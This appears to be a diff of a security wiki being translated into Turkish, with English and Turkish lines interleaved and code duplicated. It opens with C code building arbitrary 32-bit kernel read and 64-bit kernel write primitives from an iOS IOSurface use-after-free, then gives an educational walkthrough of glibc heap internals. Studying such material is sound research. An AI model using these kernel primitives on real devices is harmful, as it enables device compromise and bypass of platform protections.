**Key Fields in IOSurface**
IOSurface nesnesinin iki kritik alanı vardır:
The IOSurface object has two crucial fields:
1. **Kullanım Sayısı İşaretçisi**: **32-bit okuma** sağlar.
2. **İndeksli Zaman Damgası İşaretçisi**: **64-bit yazma** sağlar.
1. **Use Count Pointer**: Allows a **32-bit read**.
2. **Indexed Timestamp Pointer**: Allows a **64-bit write**.
Bu işaretçileri geçersiz kılarak, onları kernel belleğindeki rastgele adreslere yönlendiriyoruz ve okuma/yazma yeteneklerini etkinleştiriyoruz.
By overwriting these pointers, we redirect them to arbitrary addresses in kernel memory, enabling read/write capabilities.
#### 32-Bit Kernel Okuma
#### 32-Bit Kernel Read
To perform a read:
1. Overwrite the **use count pointer** to point to the target address minus a 0x14-byte offset.
2. Use the `get_use_count` method to read the value at that address.
Okuma gerçekleştirmek için:
1. **kullanım sayısı işaretçisini** hedef adrese 0x14 baytlık bir offset çıkararak işaret edecek şekilde geçersiz kılın.
2. O adresteki değeri okumak için `get_use_count` yöntemini kullanın.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Yazma
#### 64-Bit Kernel Write
To perform a write:
1. Overwrite the **indexed timestamp pointer** to the target address.
2. Use the `set_indexed_timestamp` method to write a 64-bit value.
Yazma işlemi gerçekleştirmek için:
1. **İndeksli zaman damgası işaretçisini** hedef adrese yazın.
2. 64-bit bir değer yazmak için `set_indexed_timestamp` yöntemini kullanın.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Exploit Akışı Özeti
#### Exploit Flow Recap
1. **Trigger Physical Use-After-Free**: Free pages are available for reuse.
2. **Spray IOSurface Objects**: Allocate many IOSurface objects with a unique "magic value" in kernel memory.
3. **Identify Accessible IOSurface**: Locate an IOSurface on a freed page you control.
4. **Abuse Use-After-Free**: Modify pointers in the IOSurface object to enable arbitrary **kernel read/write** via IOSurface methods.
With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
1. **Fiziksel Use-After-Free Tetikleme**: Serbest sayfalar yeniden kullanım için mevcuttur.
2. **IOSurface Nesnelerini Spray Etme**: Kernel belleğinde benzersiz bir "sihirli değer" ile birçok IOSurface nesnesi ayırın.
3. **Erişilebilir IOSurface'ı Belirleme**: Kontrol ettiğiniz serbest bir sayfada bir IOSurface bulun.
4. **Use-After-Free'i Kötüye Kullanma**: IOSurface nesnesindeki işaretçileri değiştirerek IOSurface yöntemleri aracılığıyla keyfi **kernel okuma/yazma** işlemlerini etkinleştirin.
Bu ilkelere sahip olarak, exploit kontrol edilen **32-bit okumalar** ve **64-bit yazmalar** sağlar. Daha fazla jailbreak adımları, ek korumaları aşmayı gerektirebilecek daha stabil okuma/yazma ilkelere dahil olabilir (örneğin, daha yeni arm64e cihazlarda PPL).

450
src/binary-exploitation/libc-heap/README.md
View File

@ -1,197 +1,190 @@
# Libc Heap
## Heap Basics
## Heap Temelleri
The heap is basically the place where a program is going to be able to store data when it requests data calling functions like **`malloc`**, `calloc`... Moreover, when this memory is no longer needed it's made available calling the function **`free`**.
Heap, temelde bir programın **`malloc`**, `calloc` gibi fonksiyonları çağırarak veri talep ettiğinde verileri depolayabileceği yerdir. Ayrıca, bu bellek artık gerekli olmadığında **`free`** fonksiyonu çağrılarak kullanılabilir hale getirilir.
As it's shown, its just after where the binary is being loaded in memory (check the `[heap]` section):
Görüldüğü gibi, bu bellek, ikili dosyanın bellekte yüklendiği yerin hemen sonrasındadır (bakınız `[heap]` bölümü):
<figure><img src="../../images/image (1241).png" alt=""><figcaption></figcaption></figure>
### Basic Chunk Allocation
### Temel Chunk Tahsisi
When some data is requested to be stored in the heap, some space of the heap is allocated to it. This space will belong to a bin and only the requested data + the space of the bin headers + minimum bin size offset will be reserved for the chunk. The goal is to just reserve as minimum memory as possible without making it complicated to find where each chunk is. For this, the metadata chunk information is used to know where each used/free chunk is.
Heap'te depolanması istenen bazı veriler için heap'ten bir alan tahsis edilir. Bu alan bir bin'e ait olacak ve yalnızca istenen veri + bin başlıklarının alanı + minimum bin boyutu ofseti chunk için ayrılacaktır. Amaç, her chunk'ın nerede olduğunu bulmayı karmaşık hale getirmeden mümkün olan en az bellek ayırmaktır. Bunun için, her kullanılan/boş chunk'ın nerede olduğunu bilmek için metadata chunk bilgisi kullanılır.
There are different ways to reserver the space mainly depending on the used bin, but a general methodology is the following:
Alanı ayırmanın farklı yolları vardır, esasen kullanılan bin'e bağlıdır, ancak genel bir metodoloji şudur:
- The program starts by requesting certain amount of memory.
- If in the list of chunks there someone available big enough to fulfil the request, it'll be used
- This might even mean that part of the available chunk will be used for this request and the rest will be added to the chunks list
- If there isn't any available chunk in the list but there is still space in allocated heap memory, the heap manager creates a new chunk
- If there is not enough heap space to allocate the new chunk, the heap manager asks the kernel to expand the memory allocated to the heap and then use this memory to generate the new chunk
- If everything fails, `malloc` returns null.
- Program belirli bir miktar bellek talep ederek başlar.
- Eğer chunk listesinde talebi karşılayacak kadar büyük bir alan varsa, bu kullanılacaktır.
- Bu, mevcut chunk'ın bir kısmının bu talep için kullanılacağı ve geri kalanının chunk listesine ekleneceği anlamına gelebilir.
- Eğer listede mevcut bir chunk yoksa ancak tahsis edilmiş heap belleğinde hala alan varsa, heap yöneticisi yeni bir chunk oluşturur.
- Eğer yeni chunk'ı tahsis etmek için yeterli heap alanı yoksa, heap yöneticisi çekirdekten heap'e tahsis edilen belleği genişletmesini ister ve ardından bu belleği yeni chunk'ı oluşturmak için kullanır.
- Her şey başarısız olursa, `malloc` null döner.
Note that if the requested **memory passes a threshold**, **`mmap`** will be used to map the requested memory.
Talep edilen **bellek bir eşiği geçerse**, **`mmap`** talep edilen belleği haritalamak için kullanılacaktır.
## Arenas
## Arenalar
In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck.
**Çoklu iş parçacıklı** uygulamalarda, heap yöneticisi çöküşe yol açabilecek **yarış koşullarını** önlemelidir. Başlangıçta, yalnızca bir iş parçacığının aynı anda heap'e erişebilmesini sağlamak için **küresel bir mutex** kullanılıyordu, ancak bu mutex kaynaklı darboğaz nedeniyle **performans sorunlarına** yol açtı.
To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas.
Bunu çözmek için, ptmalloc2 heap tahsis edici "arenalar" tanıttı; burada **her arena** kendi **veri yapıları** ve **mutex** ile **ayrı bir heap** olarak işlev görür ve farklı arenaları kullandıkları sürece birden fazla iş parçacığının heap işlemleri gerçekleştirmesine olanak tanır.
The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention.
Varsayılan "ana" arena, tek iş parçacıklı uygulamalar için heap işlemlerini yönetir. **Yeni iş parçacıkları** eklendiğinde, heap yöneticisi bunlara **ikincil arenalar** atar ve rekabeti azaltır. İlk olarak, her yeni iş parçacığını kullanılmayan bir arenaya bağlamaya çalışır, gerekirse yeni arenalar oluşturur; bu, 32-bit sistemler için CPU çekirdeklerinin sayısının 2 katı ve 64-bit sistemler için 8 katı ile sınırlıdır. Limit aşıldığında, **iş parçacıkları arenaları paylaşmak zorundadır**, bu da potansiyel rekabete yol açar.
Unlike the main arena, which expands using the `brk` system call, secondary arenas create "subheaps" using `mmap` and `mprotect` to simulate the heap behaviour, allowing flexibility in managing memory for multithreaded operations.
Ana arenanın `brk` sistem çağrısını kullanarak genişlemesi gibi, ikincil arenalar `mmap` ve `mprotect` kullanarak "alt heap'ler" oluşturur ve çoklu iş parçacıklı işlemler için bellek yönetiminde esneklik sağlar.
### Subheaps
### Alt Heap'ler
Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate:
Alt heap'ler, çoklu iş parçacıklı uygulamalarda ikincil arenalar için bellek rezervleri olarak hizmet eder ve ana heap'ten ayrı olarak kendi heap bölgelerini büyütmelerine ve yönetmelerine olanak tanır. İşte alt heap'lerin başlangıç heap'inden nasıl farklılaştığı ve nasıl çalıştığı:
1. **Initial Heap vs. Subheaps**:
- The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call.
- Subheaps, used by secondary arenas, are created through `mmap`, a system call that maps a specified memory region.
2. **Memory Reservation with `mmap`**:
- When the heap manager creates a subheap, it reserves a large block of memory through `mmap`. This reservation doesn't allocate memory immediately; it simply designates a region that other system processes or allocations shouldn't use.
- By default, the reserved size for a subheap is 1 MB for 32-bit processes and 64 MB for 64-bit processes.
3. **Gradual Expansion with `mprotect`**:
- The reserved memory region is initially marked as `PROT_NONE`, indicating that the kernel doesn't need to allocate physical memory to this space yet.
- To "grow" the subheap, the heap manager uses `mprotect` to change page permissions from `PROT_NONE` to `PROT_READ | PROT_WRITE`, prompting the kernel to allocate physical memory to the previously reserved addresses. This step-by-step approach allows the subheap to expand as needed.
- Once the entire subheap is exhausted, the heap manager creates a new subheap to continue allocation.
1. **Başlangıç Heap'i vs. Alt Heap'ler**:
- Başlangıç heap'i, programın ikili dosyasının bellekte hemen ardından yer alır ve `sbrk` sistem çağrısını kullanarak genişler.
- İkincil arenalar tarafından kullanılan alt heap'ler, belirli bir bellek bölgesini haritalayan `mmap` aracılığıyla oluşturulur.
2. **`mmap` ile Bellek Rezervasyonu**:
- Heap yöneticisi bir alt heap oluşturduğunda, `mmap` aracılığıyla büyük bir bellek bloğu rezerve eder. Bu rezervasyon hemen bellek tahsis etmez; yalnızca diğer sistem süreçlerinin veya tahsislerin kullanmaması gereken bir bölgeyi belirler.
- Varsayılan olarak, bir alt heap için rezerve edilen boyut 32-bit süreçler için 1 MB ve 64-bit süreçler için 64 MB'dır.
3. **`mprotect` ile Aşamalı Genişleme**:
- Rezerve edilen bellek bölgesi başlangıçta `PROT_NONE` olarak işaretlenir, bu da çekirdeğin bu alana fiziksel bellek tahsis etmesi gerekmediğini gösterir.
- Alt heap'i "büyütmek" için, heap yöneticisi `mprotect` kullanarak sayfa izinlerini `PROT_NONE`'dan `PROT_READ | PROT_WRITE`'a değiştirir ve çekirdeği daha önce rezerve edilen adreslere fiziksel bellek tahsis etmeye yönlendirir. Bu adım adım yaklaşım, alt heap'in gerektiği gibi genişlemesine olanak tanır.
- Tüm alt heap tükendiğinde, heap yöneticisi yeni bir alt heap oluşturur.
### heap_info <a href="#heap_info" id="heap_info"></a>
This struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info.
Bu yapı, heap'in ilgili bilgilerini tahsis eder. Ayrıca, daha fazla tahsisten sonra heap belleği sürekli olmayabilir, bu yapı bu bilgiyi de saklayacaktır.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
typedef struct _heap_info
{
mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */
size_t size; /* Current size in bytes. */
size_t mprotect_size; /* Size in bytes that has been mprotected
PROT_READ|PROT_WRITE. */
size_t pagesize; /* Page size used when allocating the arena. */
/* Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. */
char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */
size_t size; /* Current size in bytes. */
size_t mprotect_size; /* Size in bytes that has been mprotected
PROT_READ|PROT_WRITE. */
size_t pagesize; /* Page size used when allocating the arena. */
/* Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. */
char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;
```
### malloc_state
**Each heap** (main arena or other threads arenas) has a **`malloc_state` structure.**\
It’s important to notice that the **main arena `malloc_state`** structure is a **global variable in the libc** (therefore located in the libc memory space).\
In the case of **`malloc_state`** structures of the heaps of threads, they are located **inside own thread "heap"**.
**Her heap** (ana arena veya diğer thread arenaları) bir **`malloc_state` yapısına sahiptir.**\
**Ana arena `malloc_state`** yapısının **libc'de global bir değişken olduğunu** belirtmek önemlidir (bu nedenle libc bellek alanında yer alır).\
**Thread'lerin heap'lerinin `malloc_state`** yapıları ise **kendi thread "heap"lerinin içinde** yer alır.
There some interesting things to note from this structure (see C code below):
Bu yapıdan bazı ilginç noktalar vardır (aşağıdaki C koduna bakın):
- `__libc_lock_define (, mutex);` Is there to make sure this structure from the heap is accessed by 1 thread at a time
- Flags:
- `__libc_lock_define (, mutex);` Bu yapıdan heap'e erişimin aynı anda 1 thread tarafından yapılmasını sağlamak için vardır.
- Bayraklar:
- ```c
#define NONCONTIGUOUS_BIT (2U)
- ```c
#define NONCONTIGUOUS_BIT (2U)
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
- The `mchunkptr bins[NBINS * 2 - 2];` contains **pointers** to the **first and last chunks** of the small, large and unsorted **bins** (the -2 is because the index 0 is not used)
- Therefore, the **first chunk** of these bins will have a **backwards pointer to this structure** and the **last chunk** of these bins will have a **forward pointer** to this structure. Which basically means that if you can l**eak these addresses in the main arena** you will have a pointer to the structure in the **libc**.
- The structs `struct malloc_state *next;` and `struct malloc_state *next_free;` are linked lists os arenas
- The `top` chunk is the last "chunk", which is basically **all the heap reminding space**. Once the top chunk is "empty", the heap is completely used and it needs to request more space.
- The `last reminder` chunk comes from cases where an exact size chunk is not available and therefore a bigger chunk is splitter, a pointer remaining part is placed here.
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
- `mchunkptr bins[NBINS * 2 - 2];` **küçük, büyük ve sıralanmamış** **bins**'lerin **ilk ve son chunk'larına** **işaretçiler** içerir (0. indeks kullanılmadığı için -2).
- Bu nedenle, bu bins'lerin **ilk chunk'ı** bu yapıya **geri işaretçi** ve bu bins'lerin **son chunk'ı** bu yapıya **ileri işaretçi** içerecektir. Bu, eğer **ana arenada bu adresleri sızdırabilirseniz** yapıya bir işaretçi elde edeceğiniz anlamına gelir **libc**'de.
- `struct malloc_state *next;` ve `struct malloc_state *next_free;` yapıları arena'ların bağlı listeleridir.
- `top` chunk, temelde **tüm heap hatırlatma alanı** olan son "chunk"tır. `top` chunk "boş" olduğunda, heap tamamen kullanılmıştır ve daha fazla alan talep etmesi gerekir.
- `last reminder` chunk, tam boyutlu bir chunk mevcut olmadığında ve bu nedenle daha büyük bir chunk bölündüğünde, kalan kısmın işaretçisinin buraya yerleştirildiği durumlardan gelir.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);
/* Serialize access. */
__libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */
int flags;
/* Flags (formerly in max_fast). */
int flags;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
```
### malloc_chunk
This structure represents a particular chunk of memory. The various fields have different meaning for allocated and unallocated chunks.
Bu yapı, belirli bir bellek parçasını temsil eder. Farklı alanlar, tahsis edilmiş ve tahsis edilmemiş parçalar için farklı anlamlara sahiptir.
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk_nextsize;
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk_nextsize;
};
typedef struct malloc_chunk* mchunkptr;
```
As commented previously, these chunks also have some metadata, very good represented in this image:
Daha önce belirtildiği gibi, bu parçaların bazı meta verileri de vardır, bu görüntüde çok iyi temsil edilmiştir:
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate:
Meta veri genellikle mevcut parça boyutunu gösteren 0x08B'dir ve son 3 bit ile şunları belirtir:
- `A`: If 1 it comes from a subheap, if 0 it's in the main arena
- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap
- `P`: If 1, the previous chunk is in use
- `A`: 1 ise bir alt yığın, 0 ise ana arenadadır
- `M`: 1 ise, bu parça mmap ile tahsis edilen bir alanın parçasıdır ve bir yığın parçası değildir
- `P`: 1 ise, önceki parça kullanımdadır
Then, the space for the user data, and finally 0x08B to indicate the previous chunk size when the chunk is available (or to store user data when it's allocated).
Sonra, kullanıcı verileri için alan ve nihayet parça mevcut olduğunda önceki parça boyutunu belirtmek için 0x08B (veya tahsis edildiğinde kullanıcı verilerini depolamak için) gelir.
Moreover, when available, the user data is used to contain also some data:
Ayrıca, mevcut olduğunda, kullanıcı verileri ayrıca bazı verileri içermek için kullanılır:
- **`fd`**: Pointer to the next chunk
- **`bk`**: Pointer to the previous chunk
- **`fd_nextsize`**: Pointer to the first chunk in the list is smaller than itself
- **`bk_nextsize`:** Pointer to the first chunk the list that is larger than itself
- **`fd`**: Bir sonraki parçaya işaretçi
- **`bk`**: Önceki parçaya işaretçi
- **`fd_nextsize`**: Listede kendisinden daha küçük olan ilk parçaya işaretçi
- **`bk_nextsize`:** Listede kendisinden daha büyük olan ilk parçaya işaretçi
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
> [!NOTE]
> Note how liking the list this way prevents the need to having an array where every single chunk is being registered.
> Bu şekilde listeyi bağlamanın, her bir parçanın kaydedildiği bir diziye ihtiyaç duymayı önlediğine dikkat edin.
### Chunk Pointers
When malloc is used a pointer to the content that can be written is returned (just after the headers), however, when managing chunks, it's needed a pointer to the begining of the headers (metadata).\
For these conversions these functions are used:
### Parça İşaretçileri
Malloc kullanıldığında, yazılabilir içeriğe işaret eden bir işaretçi döndürülür (başlıkların hemen ardından), ancak parçaları yönetirken, başlıkların (meta verilerin) başlangıcına işaret eden bir işaretçiye ihtiyaç vardır.\
Bu dönüşümler için bu fonksiyonlar kullanılır:
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -207,13 +200,11 @@ For these conversions these functions are used:
/* The smallest size we can malloc is an aligned minimal chunk */
#define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
```
### Hizalama & minimum boyut
### Alignment & min size
The pointer to the chunk and `0x0f` must be 0.
Chunk'a işaret eden gösterici ve `0x0f` 0 olmalıdır.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
@ -227,56 +218,54 @@ The pointer to the chunk and `0x0f` must be 0.
#define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)
#define misaligned_chunk(p) \
((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
& MALLOC_ALIGN_MASK)
((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
& MALLOC_ALIGN_MASK)
/* pad request bytes into a usable size -- internal version */
/* Note: This must be a macro that evaluates to a compile time constant
if passed a literal constant. */
if passed a literal constant. */
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
/* Check if REQ overflows when padded and aligned and if the resulting
value is less than PTRDIFF_T. Returns the requested size or
MINSIZE in case the value is less than MINSIZE, or 0 if any of the
previous checks fail. */
value is less than PTRDIFF_T. Returns the requested size or
MINSIZE in case the value is less than MINSIZE, or 0 if any of the
previous checks fail. */
static inline size_t
checked_request2size (size_t req) __nonnull (1)
{
if (__glibc_unlikely (req > PTRDIFF_MAX))
return 0;
if (__glibc_unlikely (req > PTRDIFF_MAX))
return 0;
/* When using tagged memory, we cannot share the end of the user
block with the header for the next chunk, so ensure that we
allocate blocks that are rounded up to the granule size. Take
care not to overflow from close to MAX_SIZE_T to a small
number. Ideally, this would be part of request2size(), but that
must be a macro that produces a compile time constant if passed
a constant literal. */
if (__glibc_unlikely (mtag_enabled))
{
/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
asm ("");
/* When using tagged memory, we cannot share the end of the user
block with the header for the next chunk, so ensure that we
allocate blocks that are rounded up to the granule size. Take
care not to overflow from close to MAX_SIZE_T to a small
number. Ideally, this would be part of request2size(), but that
must be a macro that produces a compile time constant if passed
a constant literal. */
if (__glibc_unlikely (mtag_enabled))
{
/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
asm ("");
req = (req + (__MTAG_GRANULE_SIZE - 1)) &
~(size_t)(__MTAG_GRANULE_SIZE - 1);
}
req = (req + (__MTAG_GRANULE_SIZE - 1)) &
~(size_t)(__MTAG_GRANULE_SIZE - 1);
}
return request2size (req);
return request2size (req);
}
```
Not edin ki toplam gereken alanı hesaplamak için yalnızca `SIZE_SZ` 1 kez eklenir çünkü `prev_size` alanı veri depolamak için kullanılabilir, bu nedenle yalnızca başlangıç başlığı gereklidir.
Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed.
### Parça verilerini al ve meta verileri değiştir
### Get Chunk data and alter metadata
These functions work by receiving a pointer to a chunk and are useful to check/set metadata:
- Check chunk flags
Bu fonksiyonlar bir parçaya işaretçi alarak çalışır ve meta verileri kontrol etmek/ayarlamak için faydalıdır:
- Parça bayraklarını kontrol et
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -296,8 +285,8 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
/* Check for chunk from main arena. */
@ -306,18 +295,16 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Mark a chunk as not being on the main arena. */
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
```
- Sizes and pointers to other chunks
- Diğer parçaların boyutları ve işaretçileri
```c
/*
Bits to mask off when extracting size
Bits to mask off when extracting size
Note: IS_MMAPPED is intentionally not masked off from size field in
macros for which mmapped chunks should never be seen. This should
cause helpful core dumps to occur if it is tried by accident by
people extending or adapting this malloc.
*/
Note: IS_MMAPPED is intentionally not masked off from size field in
macros for which mmapped chunks should never be seen. This should
cause helpful core dumps to occur if it is tried by accident by
people extending or adapting this malloc.
*/
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
/* Get size, ignoring use bits */
@ -341,35 +328,31 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
```
- Insue bit
```c
/* extract p's inuse bit */
#define inuse(p) \
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
/* set/clear chunk as being inuse without otherwise disturbing */
#define set_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
#define clear_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
/* check/set/clear inuse bits in known places */
#define inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
#define set_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
